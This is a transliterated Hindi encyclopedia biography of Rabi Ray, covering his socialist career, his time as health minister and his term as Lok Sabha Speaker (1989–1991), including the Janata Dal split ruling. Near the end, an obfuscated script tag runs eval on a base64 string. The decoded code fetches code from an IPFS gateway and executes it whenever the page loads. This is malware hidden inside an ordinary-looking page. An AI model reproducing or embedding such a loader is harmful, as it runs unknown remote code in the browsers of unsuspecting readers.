रवि राय

ravi ray
ravi ray|200px|center
poora nam	ravi ray
janm	26 navanbar, 1926
janm bhoomi	puri, u disa
nagarikata	bharatiy
parti	janata dal (es)
pad	lokasabha adhyaksh
kary kal	19 disanbar, 1989 – 9 julaee, 1991
shiksha	bi.e. (itihas) aur vakalat
vidyalay	madhusoodan l aau k aaulej, ravenash aau k aaulej, katak
bhasha	u diya, hindi tatha aangreji
any janakari	pradhanamantri moraraji desaee ki sarakar mean 'svasthy aur parivar kalyan mantri' bhi rahe.
adyatan‎	12:31, 21 sitambar 2012 (IST)

ravi ray (aangrezi: Rabi Ray, janm: 26 navanbar, 1926) ek rajanitijn aur poorv lokasabha adhyaksh haian. nauvian lokasabha ke chunavoan ne bharat ke sansadiy lokatantr mean ek ne yug ka sootrapat kiya. koee bhi ek rajanitik dal sadan mean poorn bahumat prapt nahian kar saka aur is prakar bharatiy sansad ke itihas mean pahali bar, "trishanku sansad" bani. is abhootapoorv rajanitik anishchitata ke bavajood, lok sabha ke sadasyoan ne dalagat bhavanaoan se oopar uthakar shri ravi ray ko sarvasammati se nauvian lok sabha ka adhyaksh banaya. aantarnihit sadagi tatha paradarshi nishkapatata se sanpann ravi ray ne apane nishpaksh tatha vivekapoorn ravaiye se adhyaksh pad ke samman tatha garima mean vriddhi ki.

jivan parichay

ravi ray ka janm 26 navambar, 1926 ko u disa mean bhagavan jagannath ki nagari ke roop mean vikhyat zila puri ke bhanagadh gaanv mean hua. unhoanne rajy ke ek utkrisht mahavidyalay, ravenash aau k aaulej, katak se itihas mean snatak ki upadhi prapt ki aur bad mean katak ke madhusoodan l aau k aaulej mean qanoon ki shiksha grahan ki. unake bhavi rajanitik saphar ki shurooat us samay huee jab 1948-49 mean ravenash aau k aaulej chhatr sangh ke adhyaksh pad par aur tatpashchath 1949-50 mean madhusoodan l aau k aaulej chhatr sangh ke pratham adhyaksh ke roop mean unaka nirvachan hua. ravi ray any deshavasiyoan ki bhaanti svatantrata sangharsh ki or akrisht hue. deshabhakti aur desh-prem ka atirek aur videshi shasan ke prati ghrina ka bhav chhatr-kal se hi unamean koot-koot kar bhara hua tha. varsh 1947 ke prarambh mean, snatak shiksha prapt karate hue unhoanne rashtriy jhanda phaharane ke silasile mean giraphtari di. halaanki desh mean tab bhi videshi shasan tha, tathapi british sarakar ko antatah shaikshanik sansthaoan mean tiranga phaharane ki chhatroan ki maang ke samane jhukana p da.

rajanitik parichay

k aaulej ke dinoan se hi samajavad mean prabal vishvas rakhane vale ravi ray 1948 mean soshalist parti mean ek sadasy ke roop mean bharti hue. netritv ka antarjat gun hone aur samajavadi karyoan ke prati gahan vachanabaddhata ke karan ve samajavadi aandolan mean hamesha age rahe. varsh 1953-54 ke dauran ve akhil bharatiy samajavadi yuvak sabha ke sanyukt sachiv ke pad par karyarat rahe. varsh 1956 mean unhoanne d aau. ram manohar lohiya ke netritv mean u disa mean soshalist parti ki sthapana ki. us avadhi ke dauran vah soshalist parti ki rashtriy karyakarini ke sadasy bhi rahe. bad mean 1960 mean unhoanne lagabhag ek varsh ke lie dal ke mahasachiv ka karyabhar sanbhala.

lokasabha saansad

bharatiy sansad ke sath ravi ray pahale-pahal 1967 mean ju de jab u disa rajy ke puri nirvachan kshetr se chauthi lok sabha ke lie unaka nirvachan hua. us avadhi ke dauran ve sanyukt soshalist parti (es.es.pi.) ke sansadiy dal ke neta bhi rahe. apani spashtavadita, nishkapat vicharoan aur sakaratmak virodh ke lie vikhyat ravi ray vagmakaushal se sampann saansad the. sansadiy vad-vivad aur balki samooche rashtriy jan-jivan mean unaka yogadan jitana vyapak tha, utana hi susamriddh bhi tha. varsh 1974 mean u disa rajy se unaka rajy sabha ke lie chunav hua aur varsh 1980 mean unhoanne apani sadasyata ka sampoorn karyakal poora kiya.

svasthy aur parivar kalyan mantri

varsh 1977 mean chhathi lok sabha ke lie hue am chunavoan ke parinamasvaroop kendr mean ek nayi rajanitik vyavastha qayam huee. svatantrata prapti ke bad se lagatar rashtriy rajanitik kshitij par chhae hue kaangres dal ko pahali bar kendriy satta se hath dhona p da aur tatpashchath janata parti ki sarakar bani. ravi ray ki nisvarth seva se prabhavit hokar pradhanamantri moraraji desaee ne janavari, 1979 mean unhean svasthy aur parivar kalyan mantri ki haisiyat se apane mantrimandal mean shamil kiya aur unhoanne janavari, 1980 tak yah kary-bhar sanbhala. ve 1977-80 ki avadhi ke dauran janata parti ke mahasachiv bhi rahe.

lokasabha adhyaksh

nauvian lok sabha ke lie am chunav 1989 mean hue aur ravi ray u disa ke kendrapa da nirvachan kshetr se janata dal ke tikat par lok sabha mean punah nirvachit hue. dinaank 19 disambar, 1989 ko sarvasammati se nauvian lok sabha ke adhyaksh pad ke lie unaka chunav hua. is uchch pad ki k di jimmedari aur nishpakshata ke bare mean jagarook ravi ray ne sadasyoan ko ashvast kiya ki jab tak ve adhyaksh pad par raheange, vah dalagat rajaniti se oopar uthakar kary kareange aur sabake prati nishpaksh raheange. halaanki ravi ray adhyaksh pad par keval sadhe pandrah mahine ki alpavadhi ke lie hi asin rahe tathapi unhean pratyek satr mean bahut si chunautiyoan ka samana karana p da aur unhoanne isaka samana kushalata aur dridhata se kiya. kuchh pechida prakriyatmak aur tatsanbandhi muddoan par nirnay dene ke alava unhoanne kuchh nee prathaoan ki shuruat bhi ki jisase am janata ki ashaoan aur akaankshaoan ko pratibianbit karane vali sanstha ke roop mean sansad ke karyakaran mean nishchit roop se aur adhik nikhar aya.

adhyakshata ke dauran

adhyaksh ki haisiyat se ravi ray dvara lie ge sarvadhik mahattvapoorn aur dooragami nirnay janata dal ke vibhajan ke uparaant kuchh sadasyoan ki lok sabha ki sadasyata samapt kie jane ke mudde se sanbandhit haian. dinaank 6 navambar, 1990 ko janata dal ka vibhajan hone ke bad 58 sadasyoan ne yah dava kiya ki unhoanne janata dal ke ek alag gut ka pratinidhitv karane vale dal ka gathan kar liya hai aur unhoanne is dal ka nam janata dal (es) rakha hai. vibhajan ke samay aur sadasyata samapt kiye jane ke samay ke bare mean dave aur javabi-dave kie ge. in jatil muddoan se nipatane mean adhyaksh ravi ray ko kathinaee huee, kintu atyadhik jimmedari ki bhavana dikhate hue unhoanne is bare mean nirnay lene se pahale is mudde ke sabhi pahaluoan ki tatasthatapoorvak jaanch ki. nishpaksh roop se nirnay karane ki kshamata mean unaki qanooni janakari ne kafi sahayata ki. vastav mean yah ek abhootapoorv nirnay tha. adhyaksh pad par rahate hue ravi ray ne sadan ke prakriya evan kary-sanchalan sanbandhi niyamoan mean katipay parivartan kie taki sadasyoan ko lokahit ke mahattvapoorn evan avashyak muddoan ko sadan mean uthane ke adhik se adhik avasar mil sakean.

samajik sakriyata

ravi ray bahut si sarakari aur gair-sarakari sansthaoan ke sath vibhinn padoan par lambe arase se sakriy roop se ju de hue haian. varsh 1974 mean ve kendriy resham bord ke sadasy the tatha varsh 1977-78 ke dauran pres kauansil ke cheyaramain rahe. varsh 1975 mean ve lok lekha samiti ke bhi sadasy rahe aur 1977-78 ke dauran lokapal vidheyak par bani sanyukt pravar samiti ke sadasy rahe. samaj kalyan sangathanoan mean kriyashil rahate hue ve lohiya akadami tatha gram vikas phauandeshan ke adhyaksh bhi rahe. ravi ray adarshavad aur manavatavad se ju de karyakarta haian. samajavad unake lie mahaj ek bauddhik vichar hi nahian hai apitu vastavik jivan mean bhi unhoanne ise apanaya hai. unaka yah dridh vishvas hai ki shoshit varg ki dasha ko sudharane ke lie samajavad bahut hi prabhavashali sadhan hai. apane arambhik varshoan mean unhoanne svaichchhik shram jutakar gaanvoan mean s dakean banana adi jaise bahut se rachanatmak karyoan mean bhi bhag liya. unhoanne adhyayan kendr tatha yuva klab jaise "samajavadi nirman kendr" adi bhi shuroo kie, taki samajavadi paddhati ke adhar par ek sudridh tatha vyapak yuva evan kisan andolan ka uday ho sake. yadyapi dasavian lok sabha ke bad ravi ray chunavoan mean kh de nahian hue kintu rajanitik karyakarta ke roop mean ve buddhijivi manchoan mean bhag lete rahe haian. ve 1997 se ek gair-rajanitik sangathan, lok shakti abhiyan ke madhyam se uchch padoan par bhrashtachar, atyadhik kendrikaran tatha patanonmukh upabhoktavadi sanskriti ke viruddh jan aandolan ka netritv kar rahe haian.

lekhan evan sanpadan

adhyayan evan gaandhivadi nitiyoan par adharit samajik gatividhiyoan mean bhag lene tatha any ruchiyoan ke atirikt sahity ke kshetr mean bhi unaki upalabdhiyaan rahi haian. unhoanne u diya bhasha ki ek masik patrika "samata" tatha tatkalin soshalist parti dvara nikali jane vali hindi saptahik patrika "chaukhamba" ka sampadan kiya. sansadiy kootaniti par unake dvara likhi gee pustak kafi charchit rahi. ve hamare rashtriy jivan ke sabhi kshetroan mean satyanishtha tatha paradarshita sunishchit karane ke lie desh ke vibhinn bhagoan ka bhi daura karate rahe haian. ve u diya, hindi tatha aangreji ki vibhinn pramukh patrikaoan mean samakalin rajanitik tatha samajik muddoan par bhi niyamit roop se lekh likhate rahate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• ravi ray